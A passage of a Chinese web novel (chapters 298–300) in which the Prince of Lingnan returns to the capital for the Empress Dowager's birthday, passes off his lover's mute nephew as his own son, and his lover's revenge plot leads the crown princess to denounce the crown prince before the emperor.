裴允书脸上的兴奋逐渐褪去,转而显出几分失落,又一次在他的大腿上写起了字,还是那个问了好几遍的老问题, 小叔真的不一起去吗?'' 嵇燕台收回视线,悠然道:“不是一早就告诉你了么,你小叔出门见笔友了,今天就你跟叔父玩儿。” “怎么,不满意?” 裴允书摇摇头。 他坐了一会儿,翻出围棋盘,拍了拍。 嵇燕台非常坦然地假装没看到。他起初跟裴允书下棋是为了给这小孩儿做智力检测,下的次数多了,他便没了兴致。 结果么,都那样。 难得让他一次,反倒让这小东西愈发着迷了。 嵇燕台稍稍坐直了些,从座椅暗格里掏出一个有些分量的物件,往裴允书手里一塞,“喏,给你玩一会儿。” 裴允书接过,沉得双手一坠,金属物件磕到木质棋盘上,发出一声沉闷的响 … 另一头。 岭南,府城,鸿兴钱庄二楼雅间。 裴湛坐在窗边,手中的清茶升起袅袅白雾。 倏然,雅间的门被轻轻推开。 裴湛回头,看到一个年纪约莫十七八岁的锦袍少年,大步走了进来。 马车轮子溜溜地转,带着人往城外驶去。 命运的齿轮也开始转动。 嵇燕台坐在车里,看着小孩儿好奇地打量着手里的物件,嘴里哼起了不着调的歌,轿厢的小窗帘子被吹得舞起来。 外头的春光掩不住。 298、Chapter 298 又一年春。 太后寿辰将至,当今圣上以孝治天下,下旨大办,普天同庆,更有一道恩旨传至岭南,召岭南王嵇燕台回京贺寿。 圣旨已发,王驾正在回京途中。 恰时,东宫太子妃久病未愈,在病榻上躺了近两年光阴,自觉病体污秽,特地向皇后请旨,去往城外紫光寺暂住,为太后祈福。 皇后感念她一片孝心,应允了。 先是皇后差人送来诸多赏赐,随即是太子妃的贴身婢女玉翡带着人,收拾出宫的随行物品,进进出出的响动不断,引得李侧妃心中不快。 “哼,算她还有点自知之明。” 李侧妃仰躺在床上,衣衫半解,露出丰腴的身形,任由心腹嬷嬷在自己产后的腹间推拿揉捏,手法极其老练。 她疼得额角冒汗,脸上却还是得意之色,“如今我最得太子的宠,又诞下麟儿,她姜芸就是一个病秧子,早该将位置挪出来了。” 说完,她瞥了眼嬷嬷, “太后寿辰在即,我这身子可否恢复如初?” 嬷嬷神情笃定,“侧妃无须忧心。”. …… 一场寿宴,多方人马都劳动起来了。 城外,紫光寺。 禅室里空寂极了,檀香袅袅。 姜芸一身素净衣裙,正跪坐在蒲团上,执笔为太后抄写祈福经文。相比去岁,如今她的面容愈发憔悴了,发间露出一抹灰白,竟是华发早生。 “我的儿,你倒是说句话呀!” 其母徐氏坐在一旁,满脸焦灼,手中帕子绞得死紧,急得几乎要落泪, “你兄长在江南任上遭人弹劾!这分明是有人趁着太后寿辰,要拿你兄长作伐,打击东宫。” “圣上已经差人去江南查勘实情……. “我们家与太子殿下是姻亲,太子殿下只得避兼,不好贸然插手,你不去求皇后娘娘,怎么还跑出宫来,在庙里呆了这么久?!” 姜芸笔下未停,声音虚弱却平静, “母亲今日前来,是父亲让您来的,还是您自己想来探望女儿?” 徐氏一愣,随即叹气说: “你父亲自然是急的,近几日唉声叹气,夜里都睡不安稳,难得他抛下后院那个狐狸精,来找我商议。” “儿啊,这可如何是好?” “你哥哥也是为太子办事,无可奈何!” 闻言,姜芸笔下一滞,一滴墨汁晕开,污了抄好的经文。她沉默片刻,轻轻放下笔,将那卷经裁下来,团在手中。 ……无可奈何。 她在心里反复思量这四个字,想起自己曾与太子有过一段举案齐眉的好时光,那人数次陪自己回家探望亲眷,极其体贴。 宫中有侍卫轮值,行事不易。 若是在宫外,倒有了偷天换日的机会。 太子将那个秘密隐藏得紧,不可能让她的父兄知晓,尽管如此,她却再也不愿回到自己住了十数载的姜府了。 亦是无可奈何。 她时常一闭眼,就梦见…… “呕!” 姜芸猛地丢开那团纸,侧身扶着案角,难以自控地干呕了好几声,脸上却不见半点血色,整个人跟纸一样单薄。 见状,徐氏大惊失色。 她轻轻扶着太子妃的背,神情担忧,动作一下比一下慢。 不知想到什么,她的脸上忽而迸发出一丝惊喜,声量放得极轻, “芸娘,你莫不是…… “不是!” 候在一旁的玉翡呆不住了,连忙上前架住女人的上半身,冲徐夫人低声劝道:“夫人,太医说太子妃体虚,需要静养,不可劳神。”檀香逐渐烧到了底。 天色暗淡。 姜芸阖眸歇了好半晌,才缓过起来。徐氏见女儿如此,抹着泪,叮嘱她保重身体,反被太子妃劝着回府,忧心忡忡地下了山。 良久,屋中响起一声几不可闻的叹息。 姜芸站在禅室中,透过床,望着母亲离去的方向,怔怔出神,“玉翡,扶我出去透透气。“ 玉翡见她脸色苍白,小心翼翼地说:“夜露深重,您的身子受不得寒气……. 姜芸摇摇头,“无妨,多披件衣裳便是。” 禅室外,是一大片竹林。 天幕是幽蓝色,竹林看起来更暗些,好似一卷用浓墨勾勒出来的丹青,晚风拂过,竹叶便沙沙作响,的确让人心神稍宁。 姜芸被玉翡搀扶着,缓步慢行,目光放空。 转过一道廊,她瞥见竹林里的石灯亮着,光影婆娑,被竹林染成了淡青色。一位男香客站在石灯旁,亦如青竹。 男香客似察觉身后的响动,侧身回望。 见是两位女客,他作了个揖,匆匆离去了。 尽管只是匆匆一瞥,那男子的侧脸却让姜芸不自觉地停下了步子,眼前恍然浮现一张清俊温雅的脸…… 她望着男人逐渐远去的清瘦背影,忍不住喃喃自语,“裴太医?” 不是他。 那位早就死在了宫中。 时间过得真快,裴家倾覆,竟已两年了。 姜芸如此想着,万千思绪一齐涌上心头,只觉得眼前骤然发黑,身体晃了晃,又被玉翡慌忙扶住。 “太子妃……. 玉翡哽咽着,唤了一声。 姜芸浑然不觉,只是失魂落魄地望着那条早就空无一人的林间小径,泪水毫无预兆地滑落。 “原来是你啊。” 她气若游丝,自言自语,“当初好不容易才离开了京城,如今为什么要回来呢?” …. 月升日落,太后寿辰愈发近了。 一队训练有素的护卫骑在马上,前后分布在一辆最华贵的马车旁,就见一只养尊处优的手掀起车帘子,随即是一道懒赖散散的问话, “到哪儿了?” 侍卫首领当即应道:“回王爷,再有半日的路途,便能进城了。” 车里的男人又细细问了几句,侍卫首领——作答后,听到男人吩咐道:“时辰还早,既然临近皇城,倒也不用着急了。” “歇歇脚,坐得人浑身都僵了。” “是!” 侍卫首领领了命令,连忙将主子属意的歇脚之处交代下去,所有人便忙碌起来了。 很快,马车停靠在临山平地旁。 天色明朗,日光熙然。 漫山遍野的青竹,不远处,还有一条自山内缓缓淌出的溪流,弯曲回折,水流敲击着山石,声音灵动。 等侍从做足了准备,一个身着华服,面容俊美的男人才施施然地下了马车。他舒展着筋骨,目光随意地扫过四周春色,点了点头。 长途滴滴实在太累人了。 还是得中场多休息。嵇燕台心想。 这时候,那辆马车里又钻出一个唇红齿白的小公子,穿着精致的锦缎小袍,怀里还抱着一只胖乎乎的松狮犬。 正是长大不少的裴允书和大福。 近一年来,他时常领着裴允书四处游玩,收到圣旨后,也不忘把人带上。如今两人相处起来愈发亲近,裴允书自行上前,牵住了嵇燕台的手。 “汪、汪呜!” 大福下了地,撒开腿就跑。 它胆子小,跑不了多远,嵇燕台便拉着小孩儿走向溪边的空地,早有伶俐的下人铺好软垫,摆上点心和茶饮。 嵇燕台坐下,将裴允书搂进怀里逗弄,一会儿捏捏他的小脸,一会儿揪秋他的碎发,一副坦然吃代餐的模样。 “长得越来越像你小叔了。” 听到这话,裴允书连忙掏出嵇燕台让匠人给他做的纸笔—巴掌大的翻页纸本,以及裹在木条里的黑炭笔,认真写道:何时能见到小叔?’ 嵇燕台瞥了一眼,随口道:“你猜。” 裴允书抿着唇,面颊有点鼓。 就在这时。 大福被溪水中游动的小鱼吸引了注意力,在溪边的石头上观望了许久,忽然汪呜一声跳起来,胖乎乎的身子猛地跳进浅溪里! 它扑腾着去捞鱼,拍出一朵朵水花。 水里的鱼儿可比它灵活多了。 大福捞了好一会儿,一条小鱼都没捞着,只好湿漉漉地爬上岸,啪嗒啪嗒地奔向大小主人,习惯性地浑身一抖! 嵇燕台的反应极快。 他眼疾手快地将怀里的裴允书举起来,挡在自己身前。 裴允书:.… 小孩儿顶着一脸水珠,转过头,用那双黑黝黝的大眼睛,沉默地看向嵇燕台。 嵇燕台毫无愧疚之心,笑得开怀。 侍女们忍着笑,连忙将一脸幽怨的小公子,以及闯祸后一脸无辜摇尾巴的松狮犬带下去擦洗,更衣。 嵇燕台|独自留在溪边,嘴里哼着曲儿。 他的目光远眺,瞥见远处山峦间袅袅升起的一缕青烟。 那是紫光寺的香火。 忽然,林间传出一阵鸟鸣。 嵇燕台坐起身,屏退了想要跟上来的护卫,沿着潺潺溪流,信步向上游走去。 溪水尽头,翠竹掩映处,露出一角凉亭。 亭中,一个青衣男子背对着嵇燕台,垂眸专注于眼前红泥小炉上咕嘟冒泡的茶壶。他的身姿挺拔清阔,透着一股与山林幽境融为一体的宁静。 石桌上,还摆放着一个骨哨。 似是听到脚步声,那人回过头来。 他的肤色似乎比在岭南时苍白了些,更衬得眼眸漆黑如墨,唇色淡绯。 嵇燕台与其四目相对,片刻后,故意摆出一个惊讶的表情,语气浮夸,“嗯?这不是本王那个因抱病而留在岭南王府的小男侍么?” “怎么在这儿呢?” 说话间,嵇燕台脚步未停,缓步踏入亭中,姿态闲适地在裴湛对面的石凳上坐下,仿佛只是一场偶遇。 “王爷,请用茶。” 裴湛神色平静,执起已煮好的茶壶,斟了一杯清茶,将茶杯轻轻推至男人身前。 嵇燕台啜饮一口,“等很久了?” 茶香清冽,回甘悠长。 裴湛轻轻摇头,“刚从紫光寺下来不久。” 嵇燕台哦了一声,没问他计划是否顺利,目光在裴湛脸上逡巡片刻,忽然道:“三月不见,似乎清减了些。” 话罢,他冲裴湛张开了双臂, “过来,让本王抱抱。” 眼下青天白日的,哪怕是山里头,也不能保证无人撞见,可裴湛没有半分犹豫,就起身上前,顺从地侧坐在男人的腿上。 嵇燕台的手臂瞬间环上去,将人圈禁在方寸之间。 他嗅着裴湛身上那淡淡的檀香气息,声音低沉,“哎,除了本王,天底下哪还有男人愿意让妻妾在外筹划密事,自己独守空房的?” “湛湛,本王心里苦。” 裴湛沉默片刻,抬手在男人的左心口摩挲了几下,随即垂下脑袋,在那儿轻吻了一口, “裴湛伺候不力,于心有愧,只盼王爷念在往日情分上,莫要怪罪。” 嵇燕台颔着首,正好撞进他抬起的眼眸中,一只手已然顺着领口钻进去,“嗯,让我摸摸看,是不是真心愧疚,认真反省?” “……千真万确。”裴湛轻声道。 嵇燕台恨不得将他的一颗心掰开来看,指下力道没个收敛,嘴上还说着,“允书就在下面,你要不要去看一眼?” “他可想你了。” 裴湛的呼吸急促,一只手抱着男人的颈,另一只手紧紧揪住衣襟,只露出半截锁骨,“还是等京中事了再说吧,免得横生枝节。” “你可有把握?” 嵇燕台低笑出声,胸腔震动,清晰地传到怀中人的背上。他抽出手掌,语气玩味,“到时候,可别又下了大狱,还要本王搭救。” “本王府中已有一男妾,当初与人恩爱时,曾许诺过予他专宠,你再要失足…… “就只能做本王的外室了。” 听着男人这番打趣的话,裴湛有一瞬恍惚。 半年前,他怎么都没想到—岭南王竟真的同意让自己离开王府,以化名在外谋划,且在此期间,岭南王府的后院没有增添人口。 据鸿兴钱庄的探报,男人也没去过软香楼。 山风带着凉意吹过来。 裴湛拢着衣襟,下意识地往那温暖的怀抱里缩了缩。他望着亭外摇曳的竹影,声音低得几乎融进风里,“嗯…….亭中再次陷入沉默。 良久,嵇燕台听到怀中人问,“王爷打算如何安置允书?我担心他哑症仍未有起色,在京中会忆起旧事,平添麻烦。” 嵇燕台把玩着他一缕散落的墨发,“怎么?担心我会将他带进宫中?” 裴湛:… 裴湛感受着从发梢传来的轻微拉扯感,声音更低,“王爷,刘嬷嬷早不在府中,圣上今朝将您召回京,是否有什么内情?” 嵇燕台笑了笑,“能有什么内情?” 他凑近裴湛的耳垂,像是在说小秘密,“本王一介远居岭南的闲散王爷,手中并无实权,还能谋权篡位不成?” 裴湛的眼皮一跳。 不等他细想,嵇燕台接着说:“当今圣上与太后母子情深,无数人想在寿宴献上一份好礼,湛湛奔忙了一年多……他顿了顿,缓声道, “—本王拭目以待。” 299、Chapter 299 .. 嵇燕台没跟裴湛一道进京。 竹林亭台里的邂逅,仿佛只是一场不起眼的艳遇。离开时,嵇燕台挥一挥衣袖,仍是那个衣冠楚楚的岭南王,好不潇洒。 裴湛就没这么齐整了。 他的唇也红了,颈间也斑驳了,心口位置让人揉了揉,就连剩下那半杯冷掉的茶水也亲自喂过去了,没得浪费。 荒唐。 休整过后,嵇燕台充满了电。 王府队伍重新出发,浩浩荡荡地驶入城门。嵇燕台心情甚好,换了一身衣服的裴允书不知道发生了什么,一下下地扭着头,打量他的神色。 嵇燕台戳着他脑袋上的小包包, “看什么?” 裴允书没有掏出他的随身纸笔,反而靠得更近了,一张脸往嵇燕台的怀里埋,却没有嗅到那股熟悉的幽香,只有一丝丝香火气息。 裴允书忍不住露出一个失望的表情。 见状,嵇燕台在心里暗暗发笑。 小样儿。 傻眼了吧。 到底是小孩儿,他不知道那股特殊的幽香,只有嵇燕台睡他小叔的时候才能沾染上,分隔的时日久了,气味自然淡得闻不出来了。 “咕噜噜。” 车轮轧过官道。 岭南王府的车队刚一进城,领头的护卫便见一位身着宫内服饰的太监在城门内候着了。 那太监面白无须,笑容恭敬,“奴才给王爷请安。太后娘娘懿旨,念王爷舟车劳顿,特命奴才等在此迎候,引爷至旧邸歇息。” “娘娘慈谕,让王爷好生休养,明日再进宫叙话不迟。” 嵇燕台撩开车帘,露出半张脸,瞥了那太监一眼,随即嗯了一声,算是应下了。 是的。 他在京城有一套大房子。 宅子坐落在一片繁华街道,左邻右舍多是达官显贵。虽然嵇燕台多年未曾回京,但这座宅邸一直有人打理。 马车驶入朱漆大门。 府内亭台楼阁依旧,却透着一股久无人居的清冷。一众仆从早已跪迎在道旁,皆是低眉顺眼,训练有素,只是那一张张面孔,于嵇燕台而言,全然陌生。 跟岭南王府不一样—— 这里多得是别人的眼睛和耳朵。 在岭南时,嵇燕台数次带着一个五六岁的孩子外出游玩,这消息恐怕早已传回京城。 作为被毒坏了男人根基的岭南王,他身边忽然多了个稚子,还如此亲近,难免不让人猜测,这孩子是不是他身体恢复后,留下的种。 嵇燕台大概能猜到宫里那位是什么心思,无非就是以己度人,疑心自己知道了当年中毒的始末真相,想要试探一二。 正所谓,帝王多疑啊。 有一个不上进的纨绔皇弟,和有一个假装不上进的纨绔皇弟,完全是两码事。 嵇燕台心知肚明,却泰然自若。 入了夜。 宅邸内灯火通明。 裴允书一路上没有显出半分不适应,顶多就是举着小本本,问什么时候能见到小叔裴湛。 怎料告别了长途跋涉的劳累,在府中安顿下来之后,他看起来却更加紧绷了。 那张白嫩的小脸上带着不安,比在岭南时更加黏着嵇燕台,亦步亦趋,像个跟屁虫。 到了就寝时分。 裴允书分明困得睁不开眼,却还强撑着不肯回屋子,抱着围棋罐子,赖在嵇燕台卧房的外间,自己跟自己下棋,小脑袋一点一点,最终伏在棋盘上沉沉睡去。 嵇燕台洗漱完毕,寝衣都换上了。 侍女上前,低声请示:“王爷,可要奴婢将小公子抱回房安歇?” 嵇燕台散着头发,瞥了一眼那道蜷缩在棋盘边的小小身影,摆了摆手:“不必。打盆温水来,给他擦把脸和手脚。” 侍女依言照做,动作轻柔。 大福原本趴在脚踏上睡得正香,被侍女的动静吵醒,迷迷糊糊地睁开眼。 见有人在擦洗小主人的手脚,它竟也熟练地翻过身,四脚朝天地躺好,露出毛茸茸的肚皮和黑黢黢的肉垫,等着擦爪。 这是它在岭南养成的习惯。 必须擦洗干净,才能上床睡觉。 可惜岭南一行人马奔波劳累,还得收拾随行物品,如今在内室伺候的侍女是个生面孔,不懂它为何忽然翻身。 还得嵇燕台提醒。 当晚,他的床上多了个蜷缩熟睡的裴允书,大福则心满意足地卧在床角的软垫中。 这还是第一回。 一室寂静。 嵇燕台瞥了眼这小孩儿乖巧的睡颜,觉得自己应该已经洗不清了。放在如今的时代背景下,裴允书要么是他失而复得的亲生儿子,要么是…… 嗯,说出来就太糟糕了。 嵇燕台决定撤回一条发言。 翌日。一大早。 宫中来了人,说是太后思念岭南王,已备好轿辇,宣召岭南王进宫一叙。 嵇燕台换了身亲王规制的华服,金冠玉带,衬得他整个人愈发英挺,先前的肾虚黑眼圈和老登小肚腩早就消失无踪,尽显满身贵气。 裴允书没见他穿过这身,仰着头看。 嵇燕台问他,“帅吗?” 裴允书不懂‘帅是什么意思,嵇燕台也不解释,只拍拍他的脑袋,叮嘱道:“你就好好呆在府中吧。” 逗了会儿小孩,嵇燕台登上了宫轿,穿过重重宫门,回到了皇城之中。 虽然此皇城非彼皇城,但嵇燕台仍旧感受到了那股熟悉的、压抑的、腐朽却又带着极致诱惑的气息,扑面而来。 他闭目养神,心中翻涌着复杂的情绪。 厌倦?漠然? 大概……不止如此吧。 轿停了,嵇燕台抛开杂七杂八的思绪,跟着女官踏入太后的殿中。 熏香融融。 太后已然端坐于凤榻之上,头发花白,但保养得宜,面容慈和,看起来很有精神气儿。 嵇燕台与其相视片刻,才跪地参拜。 太后盯着他,眼眶竟渐渐红了,不由得拿起帕子拭泪,声音带着哽咽,“快起来,让母后好好看看…….当年你离京时,还未及冠,如今…” 如今已经是个老登了。 嵇燕台在心里补全了这句话。 他的心中毫无波澜,甚至有点想笑,面上却丝毫不显,只是垂着眼,语气闷闷的,带着几分符合岭南王人设的倔强和疏离, …. —— “劳母后挂心,儿臣只是不愿…” 太后应该也能补全他没说完的话。 当年 岭南王′还没娶妃,便身中剧毒,命悬一线,险些救不回来了。 仅是失去生育能力,已是走了大运。 然而,宫中的局势复杂,有心之人亦是数不胜数,他不能人道之事被透了出去,明面上虽无人敢嘲笑一位王爷,但背后…… 岭南王′耿耿于怀,郁郁寡欢。 果不其然。 太后听着他的未尽之语,眼泪落得更凶了。 嵇燕台面上带出一丝苦笑,不等她召,便自行坐到太后身边,轻拍着她的手背,叹道:“是儿臣不孝啊。” 看起来,太后对“岭南王′仍抱有几分母子之情和愧意,但她不止一个亲儿子,尤其那个儿子已被她推上了皇位,威势愈盛。 岭南王′注定是被牺牲的那一个。 两人上演着一出母慈子孝的戏码,嵇燕台好不容易将太后哄得露出笑脸,又听她面带关切地问起了岭南的情况。 关心儿子嘛。 嵇燕台笑了笑,应道:“无比自在。” 太后看了他一会儿,眸中又升起湿意,“你老大不小了,在岭南可有遇着…… 嵇燕台收敛起唇边笑意,沉默片刻,才状似随意地应道:“不曾娶妃,就是前两年……收了个男宠。” 太后点点头,叹息道:“男子啊。” 嵇燕台嗯了声,“是男是女,都那样。” 毕竟他的人设是个人体艺术家。 已被绝育版。 太后听出他的潜台词,神情闪过一丝失落,随即又问起来,“是怎么样的男子,竟能让你另眼相待?” 嵇燕台举起宫茶,啜了半杯。 没有昨日裴湛喂他的那杯清甜可口。 太后推了推他的手,“说呀。” 嵇燕台匆匆咽下茶水,脸上挂起一抹玩味的笑容,仍是不语,见太后觑了自己一眼,才慢悠悠地应了声,“不是儿臣不肯说,只是不想污了母后的耳朵。” 他顿了顿,继续道: “就是个….…楼里出来的。” 太后愣了一瞬,当即反应过来了。什么楼?还能是哪个楼?自然是青楼啊! “那等污秽之地…!” 听到这话,嵇燕台含笑道:“干净着呢,刚被掳进楼里,就被我撞见了,当晚就抬进府里了。” “他家里境况不好,只能从我。” “也算一段佳话。” “男人哪能不爱救风尘的?” 嵇燕台遵循原著人设,嘴上没个把门,狠狠说了一通,惹得太后揉了揉额角,一连‘你你你’了几声,不知该如何回应。 为表孝心,他将茶水塞入太后手中。 片刻后。 太后缓过来了,像是想起了什么,她状似无意地问道:“昨日听底下人回禀,你此次回京,身边还带了个六七岁的孩童?” 就在这时,殿外传来太监的通传。 嵇燕台一扭头,就见一道身穿明黄龙袍的男人阔步走来,“朕听说六弟来了母后这儿,特地过来瞧瞧。” 嵇燕台从老九变老六,接受良好。 兄弟相见,又是一番亲近不足,恭敬有余的寒暄。 皇帝歇了歇,问道:“方才母后与六弟在聊什么呢?” 嵇燕台微微一笑。 也难怪裴湛冒着险,在京城外见自己一面。 十有八九,是自己将裴允书带回京城这一行为触动了他的心弦,裴湛这才急急忙忙地现身,想要劝阻,却又深知无法改变嵇燕台的决定…… 最后,他只得强迫自己压下担忧。 裴湛会什么都不做吗? 不得不说,他的担心是正确的、精准的、一针见血的——因为嵇燕台确实没憋什么好屁。 “六弟?” 嵇燕台收回发散的思绪,佯装恍惚。 随即,他抬起眼,迎向皇帝探究的目光,又摆出一副尴尬又复杂的神情, “回皇兄,那孩子” “是臣弟的亲生骨肉。” 作者有话说 “是臣弟的亲生骨肉。” 300、Chapter 300... 宫殿内。 嵇燕台淡定地抛出谎言,神情却复杂极了,非要形容的话,大概就是—三分欣喜、三分希冀、三分沉痛、还有一分厌恶。 非常完美的饼状图。 其中六分欣喜和希冀,都是给自己的。 毕竟岭南王′在年少时就被太医判处终身绝育,且不能人道,如今有了个六岁的亲生儿子,岂不是证明他还是一个正常男人? 其中四分沉痛和厌恶,是给孩子的。 嵇燕台适时地皱了皱眉,“那孩子出身卑贱,也不知是那女人常年服用凉汤避孕,还是臣弟当年体内余毒未清的缘故…… 他顿了顿,语气有种自揭短处的烦闷,“那孩子一出生便患有哑疾,至今不能言语。” “自从两年前寻到孩子,臣弟遍寻名医为他治疗哑疾,怎料众人一筹莫展,如今正由一位民间奇医为他悉心诊治。” 嵇燕台叹了口气 “臣弟想着,待他病情有所好转,能如同常人般说话了,再奏请皇兄恩准,将其册封为世子,也免得……徒惹非议。”“若是治不好,那便算了吧。” 这番话,半真半假,一方面体现了自己对亲生儿子这一存在的疼惜,另一方面,又表露了岭南王的凉薄本性。 爱儿子,但更爱健康的儿子。 生个哑巴出来,让别人知道了,怪丢人的。 至于岭南王不能人道的小问题? 嵇燕台非常淡定,只要那两个人敢问,他就敢说,无非就是嗑药么。 软香楼顶级贵宾用户的含金量谁懂。 皇上与太后听完这番话,对视一眼,眼中的惊讶与疑虑稍减,太后甚至流露出一丝惊喜。 她对这个小儿子到底于心有愧。 “原来如此,”太后拿起帕子拭了拭眼角,唏嘘道,“真是苦了那孩子,也苦了你了,宫中太医医术精湛,不如宣他进宫,让太医瞧瞧…” 话说到一半,她忽然改口道:“罢了罢了,孩子病着,还是静养为好,让太医院院判亲自去你府上,以免节外生枝。” 皇帝点点头,“母后考虑周全。” 嵇燕台立刻躬身道谢:“儿臣代那孩子,谢母后、谢皇兄恩典。” 皇帝小坐片刻,便起身去处理政事了,嵇燕台跟太后用完了午膳,才告退离宫。 阳光有些刺眼。 嵇燕台乘上轿辇,远远瞧见太子的仪仗匆匆而过。他眯起眼,心中漠然想着,裴湛会在哪一天拉开序章呢? 真是期待啊。 刚回王府,下人便上前禀告,太医院的院判已在侧厅里候着了。嵇燕台点点头,命人将他引入内室。 这个点儿,裴允书刚午睡醒来。 他睡眼蒙胧地坐在床上,小脸泛着不正常的红晕,呼吸有些沉重,看起来蔫蔫的,直至看到嵇燕台迈步走近,才露出一抹笑。 嵇燕台抬手,捏了捏他的脸。 滚烫。 不知道是不是水土不服,有些发热了。 这病来得倒是巧,嵇燕台退开两步,对背着药箱的院判说道:“这孩子自幼体弱多病,快给他瞧一瞧。” 裴允书大概知道自己又要喝苦汤药了,靠在男人的腿上,皱起脸,冲床角的大福无声地吐了吐舌头. …… 另一头。紫光寺。 最为僻静的一间禅室内,窗口半敞着,裴湛凭栏而立,远眺着远处皇城的轮廓,神色沉凝。 吱呀一声。 谢追推门而入,见他出神,也不打扰,自顾自地倒了杯冷茶解渴,才开口道:“那位姜大人已经慌了神,忙着四处活动打点,但江南证据确苗,容不得他抵赖。” “这事说大不大,说小也不小。” “依我看,宫里那位的意思……似乎是要等太后寿辰过去,再做定夺,中间隔着小半个月,不知会有什么变故。” “毕竟姜家是太子姻亲,虽然他明面上不好插手,却也不会真的袖手旁观。” 待他说完,裴湛缓缓转过身。 谢追与他四目相对片刻,脑袋往东北方向撇了一下,示意道:“那一位……你见过了吗?她真能与你我联手?再怎么说,她也是姓姜的,真要应下了,姜家也落不着好啊。” 裴湛点头,“见过了。” 他闭了闭眼,脑海中浮现方才与那人见面的景象,女人病骨支离,神情却坚毅,而自己对其威逼利诱、剖析利害、再给予渺茫希望…… 种种手段,运用得纯熟而冷酷。 堪称得心应手。 裴湛怔了一瞬,很快又回神,平静道:“若想避免姜家举族倾覆的命运,这是她唯一的选择,别无二路。” “但也仅仅,是能保全性命而已。” …她从来就没得选。” 他也一样。 踏上这条复仇的路,就不能再回头。 对此,裴湛早有心里准备。 可他并不想让允书掺和进来,一想到岭南王将侄儿带回了这龙潭虎穴般的京城,裴湛心中的不安便如阴云盖顶,挥之不去。 片刻后,裴湛敛起忧思。 至少在太子倒台前,允书不会有性命之忧。 他抬眸,看向桌边的谢追,“对了,事情安排妥当了吗?” 谢追笑了笑,“这是自然。” “近日京城热闹得很,明日有几支商队要一道入城,我们的队伍就在其中,来时我还撞见了沈家商队,他们少东家也暂歇在紫光寺内……” 闻言,裴湛想起一件跟寿辰有关的旧事。 那年岭南王的寿辰上,正是沈家少东家献上的寿礼惹得男人不快,不仅摔了礼,还骤然离席,惊得一众人惴惴不安。 也是那年,他第一次为岭南王下厨。 虽是虚情假意,不得已而为之,但在这两年多的相处和肌肤相亲却也是实打实的,裴湛不由得一阵恍惚。 可虚情终究是虚情,变不成真的。 天色渐暗。 另一处客舍内,沈潮生打了个大大的哈欠,伸着懒腰要对身旁沉默高大的男子道:“这一路真是多亏有你了,阿寻,一个你,能抵十个镖师!” 阿寻笑笑,“哪有这么夸张。” 沈潮生拍了拍他的肩:“知道你无肉不欢,这寺庙里的斋菜不符合你的口味,等进了京,我带你去最好的酒楼,敞开了吃。” “这几年尽在海上飘着了.….” 沈潮生絮叨够了,叮嘱他早点休息,便又打着哈欠回自己房间了。阿寻站在窗前,望着远处朦胧的山影,一股莫名的熟悉感萦绕心头。 像是很久以前,他曾来过此处。 这种虚无缥缈的感觉让他睡不下。 在岭南和海上那几年,他对过往记忆没有一丝头绪,难不成这都是因为他是京城人士? 阿寻想了想,离开客舍,在廊下慢踱着步,企图找到更多残存的熟悉感。 暮云遮月,竹影婆娑。 阿寻转悠了好半晌,再也没有升起那股玄妙的感受,只好转身回房,却在走廊转角处,与另一道身影相撞。 霎时间,阿寻从恍惚中回神。 他眼疾手快,下意识伸手一把拽住了对方的手肘,稳住了那清瘦的身形,语气有些懊恼, “兄台,对不住… 两人站稳,目光在空中交汇。 廊下灯笼的光线不算太亮,却足以照亮彼此的脸。在看清那人面容的瞬间,阿寻骤然失声,表情也凝固了。 裴湛亦然。 他下意识睁大了眼睛,眸中的惊讶很快转为一股难以置信的狂喜,嘴唇微微颤抖,一个几乎脱口而出的名字卡在喉咙里,….容阙?!” 裴允书病了足足五天。 嵇燕台分明将他塞到马车中,一路从城门口直入府内,没有让他接触旧日景色,可裴允书仍是感知到了什么,夜惊复起。 起初,嵇燕台并没有发觉。 是某天夜里,大福的尾巴毛一下下扫在他的下颌处,那阵难以抵挡的痒意将他从睡梦中唤醒,他才发现胸口处有些沉重。 像是有什么东西压着他。 嵇燕台垂眸一眼。 裴允书正缩成一团,将脑袋靠在他的胸前,一只手搭在他的颈间,指尖正好落在喉结上,仿佛在试探脉搏。 而大福立在一旁,用湿漉漉的鼻子去拱裴允书的脸蛋,发出很低的呜呜声。 “什么时候醒的?”“ 嵇燕台的话音刚落,胸前的小脑袋便移动了一下,裴允书抬起满是泪痕的脸,不说话。 嵇燕台揽住大福,将它拎到腰间位置,又随手抹了一把裴允书的脸,嗓音有些沙哑,掺着两分懒怠的睡意,“脏死了,你自己数一会儿数。”“困,没空搭理你。” 说完,嵇燕台闭上了双眼。 一阵悉悉索索的声响之后,压着在胸口的脑袋逐渐上移,靠进了他的肩窝。搂着他的那只手抬起来,在嵇燕台的侧脸上一笔一划地写着…… 叔、父。'' 嵇燕台闭眼应道:“嗯。” 想、小、叔。'' 嵇燕台不理他,继续睡觉。 因着太后寿辰将近,京中热闹非凡,可这场花费了诸多人力物力的宴席终究起了波折。 寿宴的前三天。 在紫光寺诚心抄经祈福的太子妃回了宫,请见圣上,并呈上了一份太子私下敛财,借此收买朝廷重臣,意图谋权篡位的名单。 其中,就有她的父兄。 太子妃跪在下首,含泪咽道:“父兄不知事态严重,儿臣唯恐太子酿成大错,只得如此,只盼圣上念在他未酿成大错的份上,从轻发落.…” 御书房内,气氛降至冰点。 皇帝面色铁青,胸膛剧烈起伏,命人召太子前来。一经对峙,太子神情震怒且惊慌,冲太子妃怒道:“你这个贱人,存心害我!” 紧接着,他连忙解释道: “请父皇明鉴,儿臣是名正言顺的储君,与父皇君臣和睦,为何要做出如此大逆不道之事?实乃无稽之谈。” 他暗暗瞪着女人,眼神阴森,仿佛在说要是敢说出那个秘密,要你和你全家死无葬身之地!'' 太子妃泪流满面,心里却平静极了。 太子多虑了。 她不会说出来的。 但…….这并非出于太子的威胁。 恍惚间,她想起那人站在自己面前,神色淡然不惊,语气也是轻飘飘的,可他吐出来的每一个字都像是沾着血,很沉重。 “若是吐出太子极力隐瞒的秘密,你与你的家族,包括那个李姓侧妃和她刚刚产下的孩子,全都会被皇权迁怒,没了活路。” “放心吧。” “他会觉得很冤枉的。” 太子妃定了定神,哽咽道:“圣上明察,除了这份名单,我还另有证据。” 迎着太子震怒的目光,她轻声道:“太子在几处密址藏有巨量来路不明的金银,又在西北经营了一处矿场,私铸铁器……” 上首的皇帝嘴角一抽,猛地将手中那份名单摔在地上,随即又抄起御案上那方沉重的端砚,狠狠砸向跪在下方的太子。 “逆子!” 砚台擦着太子的额角飞过,划开一道血口。 太子猝不及防,痛呼一声,捂住伤口,惊骇地抬头:“父皇,儿臣并末做过这些事情,冤枉啊!定是有人构陷!” 